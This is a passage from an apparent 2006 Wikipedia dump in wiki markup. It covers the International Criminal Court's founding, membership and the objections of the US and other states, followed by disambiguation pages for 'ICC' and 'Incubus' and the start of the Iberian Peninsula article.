The General Assembly called the &quot;United Nations Diplomatic Conference of Plenipotentiaries on the Establishment of an International Criminal Court&quot;, in Italy, where the [[Rome Statute of the International Criminal Court]] was adopted on [[July 17]], [[1998]]. Almost all states participating voted in favor of the Statute; only the [[United States]], [[Israel]], [[People's Republic of China]], [[Iraq]], [[Qatar]], [[Libya]] and [[Yemen]] voted against. [[Israel]] went on to sign the Statute just before the statute was closed for signatures but later nullified its signature.  The [[United States]] under [[Bill Clinton]] signed the treaty, but never submitted it for ratification.  When [[George W. Bush]] took office shortly afterwards, he nullified the signature amid bipartisan consensus on the matter.

The Statute became a binding treaty after it received its 60th ratification, which was deposited at a ceremony at United Nations Headquarters on [[11 April]] [[2002]]. Ten countries ([[Bosnia-Herzegovina]], [[Bulgaria]], [[Cambodia]], [[Democratic Republic of Congo]], [[Ireland]], [[Jordan]], [[Mongolia]], [[Niger]], [[Romania]] and [[Slovakia]]) submitted their ratifications at this time, bringing the total to 66, so that no one nation would hold the honor of depositing the 60th ratification. As of October 2005, 100 States are Parties to the Statute. The ICC legally came into existence on [[1 July]] [[2002]], and can only prosecute crimes that occurred after this date. 

The official seat of the ICC is in [[The Hague]] (Netherlands); but its Statute permits it to hold its proceedings anywhere. The court became operational when the signatory nations met in the Assembly of State Parties to appoint a [[prosecutor]] and 18 [[judge]]s. It opened on [[March 11]], [[2003]]. The Judge-President is [[Philippe Kirsch]] from [[Canada]], and the Vice-Presidents are [[Akua Kuenyenia]] from [[Ghana]] and [[Elizabeth Odio Benito]] from [[Costa Rica]]. Its Chief Prosecutor is [[Luis Moreno Ocampo]] of [[Argentina]].

== Structure and powers ==
The International Criminal Court is composed of the Court itself, divided into a number of chambers (Pre-Trial, Trial and Appellate), the Registry, the Office of the Prosecutor and the Assembly of State Parties. 

The initial impetus for its establishment came from within the United Nations. Although it is legally a separate entity established by a separate treaty between states, and not the Security Council acting under the United Nations Charter, the UN has a clearly defined role towards the court. The court's relationship with the United Nations is governed by a Relationship Agreement between the Court and the United Nations, which mainly provides for Security Council referrals under the Rome Statute, and for United Nations assistance in payment for any prosecutions made under such a referral.

Countries ratifying the treaty that created the ICC grant it authority to try their citizens for [[war crime]]s, [[crimes against humanity]] and [[genocide]]. It provides for ICC jurisdiction over-state party or on the territory of a non-state party where that non-state party has entered into an agreement with the court providing for it to have such jurisdiction in a particular case (consent). 

Many states wanted to add &quot;aggression,&quot; &quot;[[terrorism]]&quot; and drug trafficking to the list of crimes covered by the Rome Statute; however other states opposed this, on the grounds that these crimes were difficult to define, and that dealing with less serious crimes such as terrorism and drug trafficking would distract from the seriousness of the crimes the ICC was established to deal with. As a compromise, the treaty merely brands &quot;aggression&quot; as a crime without providing a definition, pending adoption of an amendment to the Statute. It may also be amended to include other crimes. However, no amendments can be made to the Rome Statute until seven years after the Statute became legally binding.

=== How cases reach the ICC ===
Cases may be referred to the ICC by one of four methods:

#A country member of the Assembly of States Parties (ratified the Court's Statute) sends the case;
#A country that has chosen to accept the ICC's jurisdiction sends the case;
#The Security Council sends the case (subject to veto from the permanent five members); or
#The three-judge panel authorizes a case initiated by the ICC Prosecutor.

Even though the Court has jurisdiction over the [[crime against peace|crime of international aggression]], it will not exercise such jurisdiction until the crime has been further defined.  The statute that established the ICC mandates that the state parties attempt to define aggression in 2009.

== List of states party to the treaty ==
[[Image:World map ICC member states.png|thumb|right|400px|World map of ICC member states]]
[[As of 2005|As of October 2005]], the following 100 countries have ratified or acceded to the ICC Statute: [http://untreaty.un.org/ENGLISH/bible/englishinternetbible/partI/chapterXVIII/treaty10.asp]

*In '''[[Europe]]''': [[Albania]], [[Andorra]], [[Austria]], [[Belgium]], [[Bosnia and Herzegovina]], [[Bulgaria]], [[Croatia]], [[Cyprus]], [[Denmark]], [[Estonia]], [[Finland]], [[France]], [[Germany]], [[Greece]], [[Hungary]], [[Iceland]], [[Republic of Ireland|Ireland]], [[Italy]], [[Georgia (country)|Georgia]], [[Latvia]], [[Liechtenstein]], [[Lithuania]], [[Luxembourg]], [[Republic of Macedonia|Macedonia]], [[Malta]], [[Netherlands]], [[Norway]], [[Poland]], [[Portugal]], [[Romania]], [[San Marino]], [[Serbia and Montenegro]], [[Slovakia]], [[Slovenia]], [[Spain]], [[Sweden]], [[Switzerland]], [[United Kingdom]]

*In '''[[Africa]]''': [[Benin]], [[Botswana]], [[Burkina Faso]], [[Burundi]], [[Central African Republic]], [[Republic of the Congo|Congo]], [[Democratic Republic of Congo]], [[Djibouti]], [[Gabon]], [[The Gambia|Gambia]], [[Ghana]], [[Guinea]], [[Kenya]], [[Lesotho]], [[Liberia]], [[Malawi]], [[Mali]], [[Mauritius]], [[Namibia]], [[Niger]], [[Nigeria]], [[Senegal]], [[Sierra Leone]], [[South Africa]], [[Tanzania]], [[Uganda]], [[Zambia]].

*In the '''[[Americas]]''': [[Antigua and Barbuda]], [[Argentina]], [[Barbados]], [[Belize]], [[Bolivia]], [[Brazil]], [[Canada]], [[Colombia]], [[Costa Rica]], [[Dominica]], [[Dominican Republic]], [[Ecuador]], [[Guyana]], [[Honduras]], [[Mexico]], [[Panama]], [[Paraguay]], [[Peru]], [[Saint Vincent and the Grenadines]], [[Trinidad and Tobago]], [[Uruguay]], [[Venezuela]]

*In '''[[Asia]]''': [[Afghanistan]], [[Cambodia]], [[Jordan]], [[Mongolia]], [[South Korea]], [[Tajikistan]]

*In '''[[Oceania]]''': [[Australia]], [[East Timor]], [[Fiji]], [[Marshall Islands]], [[Nauru]], [[New Zealand]], [[Samoa]]

In addition to the above states, there are 39 other states which have signed but not ratified the treaty. Signing has some legal consequences from customary international law. A state is expected not to sabotage a treaty it has signed although it has not ratified it. Therefore the USA and Israel &quot;unsigned&quot; the Rome treaty, after which the USA engaged in bilateral agreements which undermine the obligations of states who have ratified.

== Opposition to the ICC ==
The creation and existence of the court has been controversial with a number of states. The largest disagreement continues to surround the source and nature of the court's jurisdiction.

Some countries object to the court, saying that there is very little legal supervision of the court's apparatus, and that the court's verdicts may become subject to political motives. They argue that the court's mandate was already excessively wide (and would be even more so if the crime of aggression was defined in its Statute), meaning the court could (perhaps unwillingly) become a tool for [[barratry]] and pointless legal hassle. Although supporters say that the checks and balances in the ICC made this an unlikely possibility, opponents argue that giving even a temporary member of the Security Council the power to veto any objections of prosecutorial bias gave the ICC no accountability whatsoever. 

Supporters would counter that the ICC's definitions are very similar to those of the [[Nuremberg trials]]. They also argue that the [[state]]s which object to the ICC are those which regularly carry out [[genocide]], [[war crime]]s and [[crimes against humanity]] in order to protect or promote their political or economic interests.

=== U.S. objections ===
The [[United States]] did not ratify the treaty. [[Bill Clinton|Clinton]] signed the ICC Statute during his last hours in office, with the stated objective that the US could continue to take part in negotiations on the rules of procedure for the new court, in an attempt to obtain an exemption for U.S. nationals taking part in UN-sponsored peacekeeping missions—as several other countries were able to do. Nevertheless, the [[Bill Clinton|Clinton]] administration was opposed to the treaty as it then stood.  A Presidential signature on a treaty does not make it legally binding until it is submitted and approved by the [[United States Senate]] which did not occur in the case of this treaty.

Amid bipartisan consensus, the U.S. has since stated that it does not intend to ratify the treaty, and so is not legally bound by it.  To this end the US has negotiated over 100 so-called article 98 opt outs that give US troops protection from the ICC while on the soil of a member country.

The U.S. claims that American soldiers and political leaders may be subject to &quot;frivolous or politically motivated prosecutions.&quot; (a form of [[barratry]]) Supporters of this position have argued that many countries in the world have an [[anti-American]] agenda, and may enjoy constantly charging American politicians or military officials with trumped-up war crimes charges, simply to cause embarrassment and bad publicity for the United States. The Bush administration has criticized ICC's lack of checks and balances, while some counter that the US administration itself has denied such checks and balances to terror suspects. Opponents of the position of the U.S. point to the adoption of the treaty by other countries, such as the [[United Kingdom]], equally or even more at risk of being the subject of politically motivated prosecutions.

A formal US position on the ICC can be found at http://www.state.gov/t/us/rm/15158.htm.  

Many in the U.S. who believe that the U.S. has a history of supporting human rights also believe that the United States is more qualified to move against war criminals than many of the signatories of the ICC. They cite the following examples to support their case:

* The [[Nuremberg trials]] were convened under pressure from the [[United States]] and one of the four chief prosecutors of the first trial was [[Robert H. Jackson]], a Justice of the [[Supreme Court of the United States]]. 
* The U.S.-led military actions in [[Iraq]] in 2003 have led to the killing, capture, or removal from power of alleged Iraqi war criminals like [[Ali Hassan al-Majid]] and [[Saddam Hussein]].

The ICC was conceived during the Nuremberg trials as the natural extension of the principles of international justice.  The United States itself was instrumental in early efforts to bring the ICC into being. Recent attempts by the United States government in opposition to the ICC run contrary to the official U.S. position during Nuremberg.

Furthermore, opponents contend that extradition of criminals from non-ICC members would require [[Security Council]] approval and support. Therefore, any kind of military action to force compliance would have to be undertaken (in large part) by the U.S.  Supporters of the Court point out that it is true that the ICC relies on member states to find and capture criminals inside their own borders(called extradition), no law allows a state to capture ICC suspects in foreign states.  The United States would therefore only be responsible for war criminals inside its own borders.  Thus, Enos Irigaba Kagaba, a participant in the Rwandan genocide, was arrested in Minneapolis in 2004 and later deported to Rwanda.  However, many people wanted by the Special Court in Sierra Leonne for war crimes are living in surrounding African countries which refuse extradition.

Prosecution of a US national would not lead to the obligation of the US to cooperate or assist the court in any way and would therefore not create any 'obligation for a non-State party'. Supporters of the Court further argue that under international law states have the right to try foreign nationals for crimes committed on their territory under the legal concept of Universal jurisdiction.  Providing the ICC with jurisdiction over U.S. nationals in this case would not interfere with U.S. sovereignty, say ICC proponents. Some have, however, argued that their territorial jurisdiction is non-delegable [&lt;small&gt;''see'' Madeline Morris, ''High crimes and misconceptions: the ICC and non-party states, Law and Contemporary Problems'', Winter 2001 vol. 64 no. 1 p. 13ff&lt;/small&gt;]. [http://www.law.duke.edu/journals/lcp/articles/lcp64dWinter2001p13.htm]

&lt;h5&gt; ICC violates US Constitution &lt;h5&gt;
Another argument is that the ICC is a violation of the US constitution by creating a court of appeals which is higher than the US Supreme Court. Because ICC takes cases where it deems the host nation not willing to do enough to prosecute a crime, it is theoretically possible for someone to appeal to the ICC after losing a case before the Supreme Court.

&lt;h4&gt; U.S. measures against the ICC &lt;h4&gt;
When it became clear in 2002 that the treaty creating the ICC would receive the requisite number of ratifications to enter into force, the United States began to undertake a number of measures to exempt U.S. nationals from the Court's jurisdiction.

Sceptics say there may be other reasons, than those advanced by the [[Bush administration]], for frustrating the International Criminal Court.[http://www.crimesofwar.org/icc_magazine/icc-kahn.html] One might think of the role the [[Opposition to U.S. foreign policy|U.S. administration]] or U.S. subjects have played in conflicts around the world in the past, i.e. [[Gulf of Tonkin Incident]], [[My Lai Massacre]], aid to [[Operation Condor]] through the [[Western Hemisphere Institute for Security Cooperation|School of the Americas]].[http://www.zmag.org/CrisesCurEvts/interventions.htm] Continuing these policies today, under the [[Rome Statute of the International Criminal Court|ICC Statute]], could be grounds for prosecution.

In addition, they point to the possible legal challenges[http://alternet.org/rights/30758/] as a result of the &quot;[[war on terror]]&quot; regarding the memos refuting the [[Geneva Convention]],[http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB127/][http://msnbc.msn.com/id/4999734/][http://www.thenation.com/doc.mhtml?i=20050718&amp;s=holtzman][http://www.ccr-ny.org/v2/reports/report.asp?ObjID=ci38xk7IHk&amp;Content=509] the use of [[unlawful combatant]] status, [[extraordinary rendition]] and the invasion of [[2003 Invasion of Iraq|Iraq]].[http://www.wagingpeace.org/articles/2005/06/27_jury-of-conscience-declaration.htm] They all could be seen as [[war crimes]].[http://www.counterpunch.org/lindorff02092006.html][http://www.counterpunch.org/boyle12222005.html][http://www.truthout.org/docs_05/011905A.shtml][http://www.laprensa-sandiego.org/archieve/november19-04/quaint.htm][http://www.counterpunch.org/brecher12062005.html][http://www.truthout.org/docs_2005/120905M.shtml]

&lt;h5&gt; American Servicemembers Protection Act &lt;h5&gt;
In 2002, the U.S. Congress passed the [[American Servicemembers' Protection Act]] (ASPA), which contained a number of provisions, including prohibitions on the U.S. providing military aid to countries which had ratified the treaty establishing the court; however, there were a number of exceptions to this, including [[NATO]] members, [[major non-NATO ally]], and countries which entered into an agreement with the United States not to hand over U.S. nationals to the Court (see &quot;Article 98&quot; agreements below). ASPA also excluded any military aid that the U.S. President certified to be in the U.S. national interest.

In addition, ASPA contained provisions prohibiting U.S. co-operation with the Court, and permitting the President to authorize military force to free any U.S. military personnel held by the court, leading opponents to dub it &quot;[[The Hague Invasion Act]].&quot; The act was later modified to permit U.S. cooperation with the ICC when dealing with U.S. enemies.

In addition, the Nethercutt Amendment to the Foreign Appropriations Bill suspends Economic Support Fund assistance to ICC States Parties who have not signed bilateral immunity agreements (BIAs) with the US. The funds affected support initiatives including peacekeeping, anti-terrorism measures, democracy-building and drug interdiction. The omnibus appropriations bill containing the controversial amendment was signed by President Bush on December 7, 2004.

&lt;h5&gt; United Nations Security Council Resolutions &lt;h5&gt;
In July 2002, the United States threatened to use its Security Council veto to block renewal of the mandates of several United Nations peacekeeping operations, unless the Security Council agreed to permanently exempt U.S. nationals from the Court's jurisdiction.

Initially, the U.S. had sought to prevent personnel on UN missions being tried by any country except that of their nationality. When the other members of the Security Council rejected that approach, the United States then sought to make use of a provision of the Rome Statute, which permits the Security Council to request the ICC not to exercise its jurisdiction over a certain matter for up to one year at a time. The United States sought the Security Council to convey such a request to the ICC concerning personnel on United Nations peacekeeping and enforcement operations, and to have that request renewed automatically each year. (If it was renewed automatically each year, then another Security Council resolution would be required to cease the request, which the U.S. could then veto—which would effectively make the request permanent.) Court supporters argued that the Rome Statute requires the request to be valid to be voted upon anew each year in the Security Council, and hence that an automatically renewing request would violate the Statute.

Other members of the Security Council opposed this United States request also. However, they were increasingly concerned about the future of peacekeeping operations. The United Kingdom eventually negotiated a compromise, whereby the U.S. would be granted its request, but only for a period of one year, and a new Security Council vote would be required in July each year for the exclusion of peacekeepers from ICC jurisdiction to be continued. All members of the Security Council endorsed this resolution, although many did so reluctantly. The result was [[UN Security Council Resolution 1422]]. 

NGO supporters of the Court, along with several countries not on the Security Council (including Canada and New Zealand), protested the legality of the resolution. The resolution was made under Chapter VII of the UN Charter, which requires a &quot;threat to international peace or security&quot; for the Security Council to act; ICC supporters have argued that a U.S. threat to veto peacekeeping operations  does not constitute a threat to international peace or security.

A resolution to exempt citizens of the U.S. from jurisdiction of the court was renewed in 2003 by Resolution 1487, but after the [[Abu Ghraib prisoner abuse|abuse of prisoners in Iraq]] it became clear that there was no majority for it, the U.S. withdrew its second proposed renewal of the resolution.

&lt;h5&gt; &quot;Article 98&quot; agreements &lt;h5&gt;
[[Image:Axis_Of_Impunity_2005.PNG|thumb|right|400px|Map of countries which have signed Article 98 agreements with the US]]

As part of the U.S. campaign to exclude its citizens and military personnel from the jurisdiction of the ICC, the U.S. Bush administration has been approaching countries around the world seeking to conclude Bilateral Immunity Agreements, or so-called “Article 98” agreements. 

These agreements prohibit the surrender to the ICC of a broad scope of persons including current or former government officials, military personnel, and U.S. employees (including non-national contractors) and nationals. These agreements, which in some cases are reciprocal, do not always include an obligation by the United States to subject those suspected persons to investigation and/or prosecution. 

The U.S. has attempted to pressure states into signing these bilateral agreements with it by adopting legislation requiring the suspension of military assistance and U.S. Economic Support Fund (ESF) aid to those States Parties which do not sign these agreements. ESF funding entails a wide range of governance programs including international counter-terrorism efforts, peace process programs, anti-drug trafficking initiatives, truth and reconciliation commissions, wheelchair distribution and HIV/AIDS education, among others. In 2003 the U.S. stopped military aid for 35 countries (among them nine European countries). U.S. law requires the cessation of such aid payments if a state is unwilling to sign the bilateral agreement (there are exceptions for [[NATO]]-members and allies such as Israel, Egypt, Australia and South Korea).

Article 98 of the Rome Statute provides that a country need not hand over a foreign national to the Court if it is prohibited from doing so by an agreement with that national's country. The U.S. has used this measure in an attempt to exempt its nationals from the Court's jurisdiction, by negotiating agreements with State Parties making use of Article 98. 

[[Amnesty International]] and the [[European Commission]] Legal Service, along with several other groups supporting the ICC, have claimed that these agreements the U.S. is attempting to negotiate are not valid under Article 98. They argue that the language in Article 98 is normally used in international law to refer to Status of Forces Agreements (SOFA), mission agreements and extradition treaties; hence they claim that Article 98 can only be used for these purposes, and not to create a general exclusion for other states' nationals from being handed over to the ICC.

[[Romania]] and [[Israel]] (even though the latter is not a party to the Statute) were the first to sign Article 98 agreements with the U.S.  In response to Romania's action, the European Union requested that candidate countries not sign Article 98 agreements with the United States until the EU ministers had met to agree upon a common position. The U.S. State Department called this action inappropriate. ICC supporters countered that the United States was attempting to use issues of military aid and NATO membership to &quot;bully&quot; other countries into signing.

Finally, in October 2002, the Council of the European Union adopted a common position, permitting member states to enter into Article 98 agreements with the United States, but only concerning U.S. military personnel, U.S. diplomatic or consular officials, and persons extradited, sent to their territories by the United States with their permission; not the general protection of U.S. nationals that the U.S. sought; furthermore the common position provided that any person protected from ICC prosecution by such agreements would have to be prosecuted by the United States. This was in agreement with the original position of the EU, that Article 98 agreements were allowed to cover these restricted classes of persons but could not cover all the citizens of a state.

On [[December 26]], [[2002]], [[India]] became the 15th country to sign a bilateral agreement with the U.S. under Article 98. The agreement aims to prevent the &quot;extradition of nationals of either country to any international tribunal without the other country's express consent&quot;. 

By June 2005 around 100 states had signed a bilateral agreement with the U.S., including at least seven of them that signed the agreement secretly. Many of these agreements are with non-States Parties to the Court. 58 of the 100 countries have not signed these bilateral agreements, despite U.S. pressure. At least 54 governments (including Brazil, Canada, Estonia, Peru, South Africa, and Trinidad and Tobago) and several intergovernmental bodies have publicly opposed these agreements and have encouraged other states to resist signing such agreements. Less than 30% of these agreements have actually been ratified by national parliaments. Instead, it is unclear how the majority of these agreements have been entered into, though at least 18 of them are known to have been secured through “executive agreements&quot; which many legal experts argue are unconstitutional and require the approval of parliament.

The United States has cut aid and development funding for many countries in retaliation for cooperating with the ICC.  Countries who have lost aid include Brazil, Costa Rica, Peru, Venezuela, Ecuador, South Africa, and several other Latin American and African countries.

=== Israeli objections ===
[[Israel]] initially objected to the Rome Statute because of the clause defining &quot;the war crime of the transfer of parts of the civilian population of an occupying power into occupied territory&quot;, which it feared implied that settlement activity in the occupied territories is a &quot;war crime&quot; and &quot;grave offense&quot;. [http://www.cicweb.ca/publications/ForTheRecord/un.html] Israel fears prosecution of [[Israeli settlement|Israeli settlers]], or Israeli government officials who support the policy of settlements, as &quot;war crimes&quot;. It did eventually sign the treaty establishing the court despite its misgivings, but on [[28 August]] [[2002]] submitted a letter to the United Nations declaring that it did not intend to ratify the treaty, using the same wording as the US declaration of [[6 May]] [[2002]].[http://untreaty.un.org/ENGLISH/bible/englishinternetbible/partI/chapterXVIII/treaty10.asp]

=== Chinese objections ===
The [[People's Republic of China]] has expressed opposition to even the other states involved going ahead with it, claiming that the Statute is an attempt to interfere with the domestic affairs of sovereign states. It has not signed the treaty.

=== Zimbabwean objections ===
The press spokesman for [[Zimbabwe]]an president [[Robert Mugabe]] has dismissed calls by [[Australia]] and [[New Zealand]] and international human rights organisations for the [[UN Security Council]] to indict Mugabe for trial before the ICC for [[crimes against humanity]]. Press secretary George Charamba told the local newspaper The Sunday Mirror in January 2006 that the call for Mugabe's indictment was &quot;spurious&quot; and &quot;an attempt to tarnish the image of the president and the country.&quot; Charamba went on to say that [[Zimbabwe]] is not a signatory to the statute that created the ICC and is therefore not legally bound by its dictates. As a non-signatory state, an ICC trial would require either a [[UN Security Council]] indictment or Zimbabwe to accept the ICC’s jurisdiction.

=== Other objections to the Statute ===
Some have argued that the crimes the ICC has jurisdiction over are recognized under international law as crimes of [[universal jurisdiction]], meaning that any state may try individuals who commit these crimes, even if they are committed by foreign nationals on foreign territory. From this perspective, the state parties could therefore have authorized the ICC to exercise this universal jurisdiction on their behalf. However, the concept of universal jurisdiction itself is controversial, not all the crimes for which the Rome Statute provides the court with jurisdiction have been proposed as being subject to universal jurisdiction at the present time under customary international law, and some have argued that even where universal jurisdiction exists it is non-delegable [http://www.law.duke.edu/journals/lcp/articles/lcp64dWinter2001p13.htm ''ibid'' ].

==In popular culture==
* ''[[The Interpreter]]'' is a 2005 film featuring a fictional African head of state, apparently based on [[Robert Mugabe]], seeking to avoid being sent to the ICC by the [[UN Security Council]] for [[crimes against humanity]].

==See also==
*[[Command responsibility]]
*[[International Law]]
*[[Peace Palace]]
*[[Universal jurisdiction]]
*[[War crimes]]
*[[World Government]]
*[[World Federalist Movement]]

==External links==
===UN===
* [http://www.icc-cpi.int/ Official ICC website]
* [http://www.un.org/law/icc/ UN website on the Statute of the International Criminal Court]
* [http://www.un.org/law/icc/statute/romefra.htm Text of the ICC Rome statute (treaty)]
**[http://www.un.org/law/icc/statute/99_corr/2.htm Article 5: Crimes within the jurisdiction of the Court]
**[http://www.un.org/law/icc/statute/99_corr/9.htm Article 98: Cooperation with respect to waiver of immunity and consent to surrender]
*[http://untreaty.un.org/ENGLISH/bible/englishinternetbible/partI/chapterXVIII/treaty10.asp Rome Statute of the International Criminal Court: depositary notifications]

===Other===
* [http://www.iccnow.org The Coalition for the International Criminal Court]
* [http://www.npwj.org No Peace Without Justice]
* [http://www.amicc.org American NGO Coalition for the International Criminal Court]
* [http://www.globalpolitician.com/articles.asp?ID=84 Objections to the ICC under the U.S. Constitution and International Law]
* [http://www.globalpolicy.org/intljustice/general/2001/07kiss.htm The Pitfalls of Universal Jurisdiction: Risking Judicial Tyranny] by [[Henry Kissinger]]
** [http://www.derechos.org/nizkor/icc/ferencz4.html A reply to Henry Kissinger's paper] by [[Benjamin B. Ferencz]], a former Prosecutor at the [[Subsequent Nuremberg Trials]].
* [http://www.derechos.org/nizkor/icc/ciccart98.html Why Bilateral Agreements with the U.S. are not valid under Art.98 of ICC Statute] by Derechos.org
* [http://www.guardian.co.uk/Iraq/Story/0,2763,1477620,00.html &quot;International court hears anti-war claims&quot;], Richard Norton-Taylor,  [[The Guardian]], [[6 May]] [[2005]],
* [http://www.state.gov/t/us/rm/25818.htm American Justice and the International Criminal Court] Remarks by [[John R. Bolton]], Under Secretary for Arms Control and International Security, at the [[American Enterprise Institute]] in [[Washington, D.C.]] on November 3, 2003
*[http://www.iht.com/articles/2005/12/27/opinion/edellis.php Indict Zimbabwe's demagogue before the International Criminal Court] - the International Bar Association calls in the International Herrald Tribune for Robert Mugabe's indictment 
*[http://www.hrw.org/campaigns/icc/facts.htm &quot;Myths and Facts About the International Criminal Court&quot;] - by [[Human Rights Watch]]

[[Category:Human rights bodies]]
[[Category:International courts]]
[[Category:International Criminal Court| ]]
[[Category:International criminal law]]

[[da:Den internationale straffedomstol]]
[[de:Internationaler Strafgerichtshof]]
[[es:Corte Penal Internacional]]
[[fi:Kansainvälinen sotarikostuomioistuin]]
[[fr:Cour pénale internationale]]
[[he:בית הדין הבינלאומי הפלילי]]
[[it:Corte Penale Internazionale]]
[[ja:国際刑事裁判所]]
[[nl:Internationaal Strafhof]]
[[no:Den internasjonale straffedomstolen]]
[[pl:Międzynarodowy Trybunał Karny]]
[[pt:Corte penal internacional]]
[[ro:Curtea Penală Internaţională]]
[[sv:Internationella brottmålsdomstolen]]</text>
    </revision>
  </page>
  <page>
    <title>ICC</title>
    <id>14881</id>
    <revision>
      <id>40731657</id>
      <timestamp>2006-02-22T17:12:45Z</timestamp>
      <contributor>
        <username>Tjss</username>
        <id>280377</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''ICC''' may stand for:

*[[ICC Bank]], [[Ireland]]
*[[Immunocytochemistry]]
*[[Indianapolis Children's Choir]]
*[[Integration Competency Center]]
*[[Inter-Cooperative Council at the University of Michigan]]
*[[Intercounty Connector]]
*[[International Chamber of Commerce]]
*[[International Churches of Christ]]
*[[International Color Consortium]]
*The [[International Control Commission]], which oversaw the 1954 [[Geneva Accords]] ending the [[First Indochina War]]
*The [[International Convention Centre]], [[Birmingham]], [[England]]
*[[International Cricket Council]]
*'''[[International Criminal Court]]'''
*[[Internet Chess Club]]
*[[Integrated circuit card]]
*[[Interstate Commerce Commission]]
*[[Inuit Circumpolar Conference]]
*[[Islamic Clerics Committee]]
*[[Integrated Chip Card]]
*[[Intel C Compiler]]
*[[International Congregational Council]]
*[[Interstitial cells of Cajal]]
*[[International Association for Cereal Science and Technology]] (formerly International Association for Cereal Chemistry)
*[[International Communist Current]]
*[[ICC Records]] part of ICC (International Christian Communications) and is a UK charitable-status christian record production and distribution company

{{TLAdisambig}}

[[de:ICC]]
[[nl:ICC]]
[[ja:ICC]]
[[sl:ICC]]</text>
    </revision>
  </page>
  <page>
    <title>Incubus</title>
    <id>14882</id>
    <revision>
      <id>39709764</id>
      <timestamp>2006-02-15T08:03:54Z</timestamp>
      <contributor>
        <username>Butko</username>
        <id>795873</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Incubus''' can refer to:
* [[Incubus (demon)]], a demon said to rape women while they slept
* [[Incubus (band)]], an American alternative rock band.
* [[Incubus (film)]], a 1965 film in Esperanto starring William Shatner.
* [[Incubus (NWOBHM)]], a [[NWOBHM]] band from the early 1980s.
'''Incubus''' can also be:
* &quot;Incubus&quot;, a song on [[Marillion]]'s 1984 album ''[[Fugazi (album)| Fugazi]]''.
* Incubus, a line of [[running shoes]] manufactured by Reebok.
*[[Inkubus Sukkubus]], a British Goth metal band.

{{disambig}}

[[de:Incubus (Begriffsklärung)]]
[[nl:Incubus]]
[[ru:Инкуб]]</text>
    </revision>
  </page>
  <page>
    <title>Iberian Peninsula</title>
    <id>14883</id>
    <revision>
      <id>41738813</id>
      <timestamp>2006-03-01T11:38:11Z</timestamp>
      <contributor>
        <ip>80.34.148.142</ip>
      </contributor>
      <comment>/* Languages */</comment>
      <text xml:space="preserve">The '''Iberian Peninsula''', or '''Iberia''', is located in the extreme southwest of [[Europe]]. It is bordered on the south and east by the [[Mediterranean Sea]], and on the north and west by the [[Atlantic Ocean]]. The [[Pyrenees]] form the northeast edge of the [[peninsula]], connecting it to the rest of Europe. At [[Gibraltar]] in the south, it approaches the northern coast of [[Africa]]. It is the biggest peninsula of Europe with an area of 582&amp;nbsp;860 km².

==Countries &amp; Territories==
[[Image:Iberian peninsula.jpg|thumb|350px|right|The positions of the different countries/territories.]]
* [[Spain]], occupying the majority of Iberia
* [[Portugal]], the western most part
* [[Andorra]], a microstate bordering France and Spain in the Pyrenees
* [[Gibraltar]], British territory in the southernmost tip

==Languages==
The following languages are spoken in the Iberian peninsula:

*[[Andorra]]:
**[[Catalan language|Catalan]]
*[[Gibraltar]]:
**[[English language|English]] (official recognition)
**[[Llanito]]
*[[Portugal]]:
**[[Portuguese language|Portuguese]]
**[[Mirandese]] (official recognition)
*[[Spain]]:
**[[Spanish language|Spanish]] (also called Castilian)
**[[Catalan language|Catalan]] (called [[Valencian]] in the [[Land of Valencia]])
**[[Basque language|Basque]]
**[[Galician]]
**[[Aragonese language|Aragonese]]
**[[Asturian language|Asturian]] (official recognition)
**[[Occitan language|Occitan]] (locally called [[Aranese]], official recognition)

==Pre-Roman languages==
The following languages were spoken in the Iberian peninsula before the Roman occupation:

*[[Lusitanian language|Lusitanian]]
*[[Basque language|Aquitan (Basque)]]
*[[Iberian language|Iberian]]
*[[Celtiberian language|Celtiberian]]
*[[Tartessian language|Tartessian]]

==History==
[[Image:España y Portugal.jpg|thumb|300px|right|Satellite view of the Iberian peninsula]]
[[Image:IberianPeninsula.png|right|thumb|320px|Topographic map of the Iberian Peninsula]]
The Iberian Peninsula has been inhabited for at least 500,000 years, first by [[Neanderthals]] and then by [[Mitochondrial Eve|modern humans]].

The original peoples of the Iberian peninsula (in the sense that they are not known to have come from elsewhere), consisting of a number of separate tribes, are given the generic name of [[Iberians]]. This may have included the [[Basque people|Basques]], the only pre-[[Celts|Celtic]] people in Iberia surviving to the present day as a separate ethnic group.

In the early [[first millennium BCE]], several waves of [[Celts]] invaded Iberia from [[central Europe]] and intermarried with the local Iberian people, forming the [[Celtiberians]] (with many different nations).

The seafaring [[Phoenicians]], [[Greeks]] and [[Carthaginians]] successively settled along the Mediterranean coast and founded trading colonies there over a period of several centuries.

Around [[1100 BC]] Phoenician merchants founded the trading colony of [[Gadir]] or Gades (modern day [[Cádiz]]) near [[Tartessos]]. In the 8th century BC the first Greek colonies, such as Emporion (modern [[Empúries]]), were founded along the Mediterranean coast on the East, leaving the south coast to the Phoenicians. The Greeks are responsible for the name Iberia, after the river Iber ([[Ebro]]). In the 6th century BC the [[Carthaginians]] arrived in Iberia while struggling with the Greeks for control of the Western Mediterranean. Their most important colony was [[Carthago Nova]] (Latin name of modern day [[Cartagena, Spain|Cartagena]]).

In [[219 BC]], the first [[Ancient Rome|Roman]] troops invaded the Iberian Peninsula, during the [[Second Punic war]] against the Carthaginians, and annexed it under [[Augustus]] after two centuries of war with the Celtic and Iberian tribes and the Phoenician, Greek and Carthaginian colonies becoming the province of [[Hispania]]. It was divided in [[Hispania Ulterior]] and [[Hispania Citerior]] during the late [[Roman Republic]]; and, during the [[Roman Empire]], [[Hispania Taraconensis]] in the northeast, [[Hispania Baetica]] in the south and [[Lusitania]] in the southwest.

Hispania supplied the Roman Empire with food, olive oil, wine and metal. The emperors [[Trajan]], [[Hadrian]] and [[Theodosius I]], the philosopher [[Seneca the Younger|Seneca]] and the poets [[Martial]] and [[Lucan (poet)|Lucan]] were born in Iberia.

In the early [[5th century]], [[Germanic tribes]] invaded the peninsula, namely the [[Suevi]], the [[Vandals]] ([[Silingi]] and [[Hasdingi]]) and their allies, the [[Sarmatian]] [[Alans]]. Only the kingdom of the [[Suevi]] ([[Quadi]] and [[Marcomanni]]) would endure after the arrival of another wave of Germanic invaders, the [[Visigoths]], who conquered all of the Iberian peninsula and expelled or partially integrated the Vandals and the Alans. The Visigoths eventually conquered the Suevi kingdom and its capital city [[Bracara]] (modern day [[Braga]]) in [[584]]-[[585]].

